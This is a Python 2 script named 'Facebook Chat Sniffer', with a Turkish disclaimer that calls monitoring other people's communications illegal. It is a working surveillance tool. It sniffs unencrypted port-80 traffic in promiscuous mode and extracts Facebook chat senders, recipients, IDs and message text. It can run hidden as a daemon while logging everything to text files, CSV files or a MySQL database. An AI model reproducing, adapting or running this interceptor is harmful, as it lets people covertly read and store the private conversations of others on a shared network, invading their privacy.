#!/usr/bin/python # -*- coding: utf-8 -*- """ Facebook Chat Sniffer - Watch and store facebook chat activity over the network cehturkiye.com Developers: Necmettin BEGITER Harun SEKER Ozan UCAR YASAL UYARI! Kisiler arasindaki iletisimin izlenmesi ve/veya kayit altina alinmasi yasadisi olup bu fiilin islenmesi suc teskil etmektedir. Kullanicilar, bu aracin yasal ve yasadisi kullanimindan dogabilecek yasal yukumlulukleri, maddi, manavi ve olasi her turlu zarari pesinen kabul etmis sayilirlar ve hic bir sekilde gelistiriciler sorumlu tutulamaz. Bu kodun kullanimindan dogabilecek her turlu zarar ve yukumluluk kullanicilara aittir. """ ## import os, sys, csv, json import MySQLdb as sql from datetime import datetime as dt from optparse import OptionParser as op import scapy from scapy import config from scapy import all as sall from scapy.utils import PcapReader """ Constants and variables """ config.conf.verb=0 options = None writer = None db = None conn = None def w(string): """ Return string modified """ return string.replace('\u0131','ı').replace('\u0130','İ').replace('\u00c7','Ç').replace('\u00e7','ç').replace('\u015e','Ş').replace('\u015f','ş').replace('\u00dc','Ü').replace('\u00fc','ü').replace('\u00d6','Ö').replace('\u00f6','ö').replace('\u011e','Ğ').replace('\u011f','ğ').replace('\\', '') def w2(rawstring, searchstring, seperator): """ Get value assigned to variable from raw string """ tmpstr = '"' + searchstring + '":' if seperator == '"': tmpstr += '"' seperatorposition = rawstring.find(tmpstr) + len(tmpstr) while rawstring[seperatorposition-1]=="\\": seperatorposition += rawstring[seperatorposition:].find(seperator) if seperatorposition > -1: tmpstr = rawstring[seperatorposition:rawstring.find(seperator, seperatorposition)] return tmpstr.replace('\u0131','ı').replace('\u0130','İ').replace('\u00c7','Ç').replace('\u00e7','ç').replace('\u015e','Ş').replace('\u015f','ş').replace('\u00dc','Ü').replace('\u00fc','ü').replace('\u00d6','Ö').replace('\u00f6','ö').replace('\u011e','Ğ').replace('\u011f','ğ').replace('\\', '') else: return "" def callback(pkt): """ Callback for each request/response """ global options, writer sourceip = pkt.sprintf("%IP.src%") targetip = pkt.sprintf("%IP.dst%") timestamp = str(dt.fromtimestamp(pkt.time)) timestamp = timestamp[:timestamp.find(".")] raw=pkt.sprintf("%Raw.load%") if raw.find('"type":"msg"') != -1: #eskisi: '"ms":[{"type":"msg","msg":{"text":"' raw = raw[raw.find("{"):raw.find("}]}")+3] found = False while not found: try: raw = json.loads(raw) except ValueError, a: z = str(a) pos1 = z.find("(char ")+6 z = int(z[pos1:-1]) raw = raw[:z] + raw[z+1:] found = True else: found = True if type(raw) == str: try: x = json.loads(raw) except ValueError, a: z = str(a) pos1 = z.find("(char ")+6 z = int(z[pos1:-1]) x = raw[:z] + raw[z+1:] found = True else: found = True else: x = raw try: x = x["ms"][0] fromid = x["from"] fromfirstname = x["from_first_name"] fromname = x["from_name"] toid = x["to"] tofirstname = x["to_first_name"] toname = x["to_name"] txt= x["msg"]["text"] except TypeError: fromid = w2(raw, "from", ",") fromname = w2(raw, "from_name", '"') fromfirstname = w2(raw, "from_first_name", '"') toid = w2(raw, "to", ",") toname = w2(raw, "to_name", '"') tofirstname = w2(raw, "to_first_name", '"') txt = w2(raw, "text", '"').strip() if toid == fromid: try: fromid = last_fromid fromname = last_fromname fromfirstname = last_fromfirstname toid = last_toid toname = last_toname tofirstname = last_tofirstname except: last_fromname = fromname last_fromfirstname = fromfirstname last_fromid = fromid last_toname = toname last_tofirstname = tofirstname last_toid = toid if txt=="\\": txt= '\"' ffrom = fromfirstname + " - " + fromname + " (" + str(fromid) + ")" tto = tofirstname + " - " + toname + " (" + str(toid) + ")" tmpoutput = "\n".join(["Source IP: "+sourceip, "Target IP: "+targetip, "Time: "+timestamp, "From: " + ffrom, "To:" + tto, "Text: "+ txt])+"\n\n" #print tmpoutput if (txt != "") and (txt is not None): if options.text: outputfile=open(options.text, "a") outputfile.write(tmpoutput) outputfile.close() if not options.makedaemon: sys.stdout.write(tmpoutput) if options.csv: outputfile = open(options.csv, "ab") writer=csv.writer(outputfile, dialect="excel") writer.writerow([sourceip, targetip, timestamp, ffrom, tto, txt]) outputfile.close() del writer if options.dbn: curs = conn.cursor() curs.execute("insert into fbs (sourceip, targetip, timestamp, fromid, fromname, fromfirstname, toid, toname, tofirstname, txt) values (%s, %s, %s, %s, %s, %s, %s, %s, %s, %s)", (sourceip, targetip, timestamp, fromid, fromname, fromfirstname, toid, toname, tofirstname, txt)) curs.close() def daemonize (stdin='/dev/null', stdout='/dev/null', stderr='/dev/null'): """ If no console output is requested, run the application in the background """ # First fork try: pid = os.fork() if pid > 0: sys.exit(0) except OSError, e: sys.stderr.write ("Fork #1 unsuccessful: (%d) %s\n" % (e.errno, e.strerror) ) sys.exit(1) os.chdir("/") os.umask(0) os.setsid() # Second fork try: pid = os.fork() if pid > 0: sys.exit(0) except OSError, e: sys.stderr.write ("Fork #2 unsuccessful: (%d) %s\n" % (e.errno, e.strerror) ) sys.exit(1) si = open(stdin, 'r') so = open(stdout, 'a+') se = open(stderr, 'a+', 0) os.dup2(si.fileno(), sys.stdin.fileno()) os.dup2(so.fileno(), sys.stdout.fileno()) os.dup2(se.fileno(), sys.stderr.fileno()) def main(): """ Main function """ global options, writer, db, conn # parse script parameters parser = op(version="%prog 1.0") parser.add_option("-i", "--iface", action="store", type="string", dest="iface", default="eth0", help="watch IFACE interface") parser.add_option("-p", "--pcap", action="store", type="string", dest="pcap", help="get input from PCAP file") parser.add_option("-s", "--stdout", action="store_false", dest="makedaemon", default=True, help="print to stdout, otherwise daemonize") parser.add_option("-c", "--csv", action="store", type="string", dest="csv", help="save output to CSV file") parser.add_option("-t", "--text", action="store", type="string", dest="text", help="save output to text file TXT in human-readable format") parser.add_option("--dbh", action="store", type="string", dest="dbh", help="Host address of the database") parser.add_option("--dbn", action="store", type="string", dest="dbn", help="save output to database DB") parser.add_option("-u", "--username", action="store", type="string", dest="dbun", help="database username") parser.add_option("--password", action="store", type="string", dest="dbpwd", help="database user password") parser.add_option("-n", "--nonpromisc", action="store_false", dest="promisc", default=True, help="Force non-promiscuous mode") (options, args) = parser.parse_args() # process script parameters config.conf.iface=options.iface if options.makedaemon: if not options.pcap: daemonize() if options.text: outputfile=open(options.text, "w") outputfile.close() if options.csv: outputfile = open(options.csv, "wb") writer=csv.writer(outputfile, dialect="excel") writer.writerow(["Source IP", "Destionation IP", "Date-time", "From", "To", "Message"]) outputfile.close() del writer config.conf.promisc = (options.promisc == True) if options.dbn: if not options.dbh: options.dbh = "localhost" if options.dbun and options.dbpwd: conn = sql.connect(host=options.dbh, db=options.dbn, user=options.dbun, passwd=options.dbpwd) curs = conn.cursor() curs.execute("create table if not exists fbs (id bigint not null primary key auto_increment, timestamp datetime, sourceip varchar(15) not null, targetip varchar(15) not null, fromid bigint not null, fromname varchar(32), fromfirstname varchar(32), toid bigint not null, toname varchar(32), tofirstname varchar(32), txt text) default character set utf8 default collate utf8_bin") curs.close() else: parser.error("You need to provide host, database name, user name and password for database functionality to work.") sys.exit(2) # the actual operation try: if options.pcap: packets = sall.rdpcap(options.pcap) for packet in packets: callback(packet) #sall.sniff(filter='tcp and (port 80)', prn=callback, store=0, offline=options.pcap) else: sall.sniff(filter='tcp and (port 80)', prn=callback, store=0) except KeyboardInterrupt: exit(0) if __name__ == "__main__": main()